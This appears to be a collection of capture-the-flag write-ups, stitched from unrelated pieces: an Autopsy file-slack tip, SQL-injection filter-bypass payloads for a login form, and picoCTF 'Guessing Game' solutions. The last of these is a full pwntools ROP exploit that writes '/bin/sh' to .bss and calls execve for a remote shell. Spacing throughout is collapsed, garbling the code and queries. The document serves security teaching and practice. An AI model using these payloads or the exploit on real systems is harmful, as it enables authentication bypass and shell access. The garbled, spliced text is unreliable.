File slack is the difference between the physical file size and the logical file size. Autopsy creates slack files (with the -slack extension) from any extra space at the end of a file. These files can be displayed or hidden from the data sources area and/or the views area. Go to "Tools => Options => Global Settings => Hide slack files in the:" and unselect the options in this section.
If we enter user:password on the login page, the backend SQL query will be something like this:
SELECT*FROM users WHERE username='user'ANDpassword='solarwinds123';
Typically the very first payload for testing SQLi is ' or 1=1;--, which results in the following SQL query:
SELECT*FROM users WHERE username=''or1=1;-- AND password='solarwinds123';
Here the leading 'closes the username field and anything comes after -- is considered as comment (hence ignored). Since '' evaluates to False and 1=1 evaluates to True, the entire SQL statement always evaluates to True.
Round 1
Filter: or
In this round, the boolean expression or is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named admin, one possible payload without using or is admin';--. The corresponding SQL query is:
SELECT*FROM users WHERE username='admin';--' AND password='solarwinds123';
The SQL query got executed is shown in the background:
Round 2
Filter: orandlike=--
For this round, simply remove the -- from the payload for Round 1. The corresponding SQL query is:
SELECT*FROM users WHERE username='admin';' AND password='solarwinds123';
This query is still semantically correct since ; closes the statement SELECT * FROM users WHERE username='admin':
Round 3
Filter: orand=like><--
The payload for Round 2 works for this round as well:
Round 4
Filter: orand=like><--admin
Since admin is filtered, we have to come up with another approach. A typical solution for such filter is the UNION attack. The UNION keyword in SQL allows multiple SQL statements to be executed. For example:
SELECT Alice, Bob FROM good_people UNIONSELECT Eve, Mallory FROM bad_people
In our case, we could construct an UNION attack as the following:
SELECT*FROM users WHERE username='ret2basic'UNIONSELECT*FROM users LIMIT1;' AND password='solarwinds123';
However, this payload does not work since space is filtered. To bypass this filter, let's replace all spaces with /**/ (empty comment is equivalent to space):
SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';
This payload works:
Round 5
Filter: orand=like><--unionadmin
Since union is filtered in this round, we should switch back to the admin';-- idea. There are two things that need to be changed:
Since admin is filtered, we could split admin into adm'||'in, where || is used for concatenating strings in SQL.
Since -- is filtered, we could replace ;-- with /* to comment out the things that we don't need.
The complete SQL query is:
SELECT*FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';
The binary is statically linked, so things like ret2libc won't work.
Source Code
#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<sys/types.h>#include<sys/stat.h>#defineBUFSIZE100longincrement(long in) {return in +1;}longget_random() {returnrand()% BUFSIZE;}intdo_stuff() {long ans =get_random(); ans =increment(ans);int res =0;printf("What number would you like to guess?\n");char guess[BUFSIZE];fgets(guess, BUFSIZE, stdin);long g =atol(guess);if (!g) {printf("That's not a valid number!\n"); } else {if (g == ans) {printf("Congrats! You win! Your prize is this print statement!\n\n"); res =1; } else {printf("Nope!\n\n"); } }return res;}voidwin() {char winner[BUFSIZE];printf("New winner!\nName? ");fgets(winner,360, stdin);printf("Congrats %s\n\n", winner);}intmain(int argc,char**argv){setvbuf(stdout,NULL, _IONBF,0);// Set the gid to the effective gid// this prevents /bin/sh from dropping the privilegesgid_t gid =getegid();setresgid(gid, gid, gid);int res;printf("Welcome to my guessing game!\n\n");while (1) { res =do_stuff();if (res) {win(); } }return0;}
Note that the function get_random() does not return a random number at all since rand() is unseeded. To confirm:
The output is 83, no matter how many times you run it.
Also, pay attention to these two lines of the source code:
long ans = get_random(); // ans = 83
ans = increment(ans); // ans = 84
The correct answer to the question "What number would you like to guess?" should be 84.
Solution
Since the binary does not contain the string "/bin/sh\x00", we have to construct a 2-stage exploit:
Stage 1: Build a ROP chain for writing the string "/bin/sh\x00" to a writable memory location. A common choice is the .bss section. The address of .bss can be found using Pwntools elf.bss() method.
Stage 2: Do normal ret2syscall to execute execve("/bin/sh\x00", 0, 0).
Exploit
#!/usr/bin/env python3from pwn import*#--------Setup--------#context(arch='amd64', os='linux')elf =ELF("./vuln", checksec=False)local =Falseif local: r = elf.process()else: host ='jupiter.challenges.picoctf.org' port =26735 r =remote(host, port)#--------ret2syscall--------#offset =120pop_rax =0x00000000004163f4write_gadget =0x000000000048dd71bin_sh_address = elf.bss()pop_rdi =0x0000000000400696pop_rsi =0x0000000000410ca3pop_rdx =0x000000000044a6b5syscall =0x000000000040137cpayload =flat(b"A"* offset,# Write the string "/bin/sh\x00" to .bss section pop_rdx, "/bin/sh\x00", pop_rax, bin_sh_address, write_gadget,# Call execve("/bin/sh\x00", 0, 0) pop_rax, 0x3b, pop_rdi, bin_sh_address, pop_rsi, 0, pop_rdx, 0, syscall,)r.sendlineafter("What number would you like to guess?\n", '84')r.sendlineafter("Name? ", payload)r.interactive()
Guessing Game 2
Solved by ret2basic
Challenge
It's the Return of your favorite game! vulnvuln.cMakefilenc jupiter.challenges.picoctf.org 57529
The binary is dynamically linked this time, which makes ret2libc possible.
Source Code
#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<sys/types.h>#include<sys/stat.h>#defineBUFSIZE512longget_random() {return rand;}intget_version() {return2;}intdo_stuff() {long ans = (get_random()%4096) +1;int res =0;printf("What number would you like to guess?\n");char guess[BUFSIZE];fgets(guess, BUFSIZE, stdin);long g =atol(guess);if (!g) {printf("That's not a valid number!\n"); } else {if (g == ans) {printf("Congrats! You win! Your prize is this print statement!\n\n"); res =1; } else {printf("Nope!\n\n"); } }return res;}voidwin() {char winner[BUFSIZE];printf("New winner!\nName? ");gets(winner);printf("Congrats: ");printf(winner);printf("\n\n");}intmain(int argc,char**argv){setvbuf(stdout,NULL, _IONBF,0);// Set the gid to the effective gid// this prevents /bin/sh from dropping the privilegesgid_t gid =getegid();setresgid(gid, gid, gid);int res;printf("Welcome to my guessing game!\n");printf("Version: %x\n\n", get_version());while (1) { res =do_stuff();if (res) {win(); } }return0;}